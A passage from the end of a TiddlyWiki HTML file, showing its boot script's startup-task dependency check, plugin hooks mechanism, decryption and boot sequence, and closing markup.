if(task.before && task.before.indexOf(name) !== -1) {
if($tw.boot.doesTaskMatchPlatform(task) && (!task.name || $tw.boot.disabledStartupModules.indexOf(task.name) === -1)) {
return false;
}
}
}
}
// Check that all of the tasks that we must be performed after has been done
var after = taskModule.after;
if(after) {
for(t=0; t<after.length; t++) {
if(!$tw.boot.executedStartupModules[after[t]]) {
return false;
}
}
}
return true;
};
/*
Global Hooks mechanism which allows plugins to modify default functionality
*/
$tw.hooks = $tw.hooks || { names: {}};
/*
Add hooks to the hashmap
*/
$tw.hooks.addHook = function(hookName,definition) {
if($tw.utils.hop($tw.hooks.names,hookName)) {
$tw.hooks.names[hookName].push(definition);
}
else {
$tw.hooks.names[hookName] = [definition];
}
};
/*
Invoke the hook by key
*/
$tw.hooks.invokeHook = function(hookName /*, value,... */) {
var args = Array.prototype.slice.call(arguments,1);
if($tw.utils.hop($tw.hooks.names,hookName)) {
for (var i = 0; i < $tw.hooks.names[hookName].length; i++) {
args[0] = $tw.hooks.names[hookName][i].apply(null,args);
}
}
return args[0];
};
/////////////////////////// Main boot function to decrypt tiddlers and then startup
$tw.boot.boot = function(callback) {
// Initialise crypto object
$tw.crypto = new $tw.utils.Crypto();
// Initialise password prompter
if($tw.browser && !$tw.node) {
$tw.passwordPrompt = new $tw.utils.PasswordPrompt();
}
// Preload any encrypted tiddlers
$tw.boot.decryptEncryptedTiddlers(function() {
// Startup
$tw.boot.startup({callback: callback});
});
};
/////////////////////////// Autoboot in the browser
if($tw.browser && !$tw.boot.suppressBoot) {
$tw.boot.boot();
}
return $tw;
});
if(typeof(exports) !== "undefined") {
exports.TiddlyWiki = _boot;
} else {
_boot(window.$tw);
}
//# sourceURL=$:/boot/boot.js
</script>
</div>
<!--~~ Raw markup for the bottom of the body section ~~-->
</body>
</html>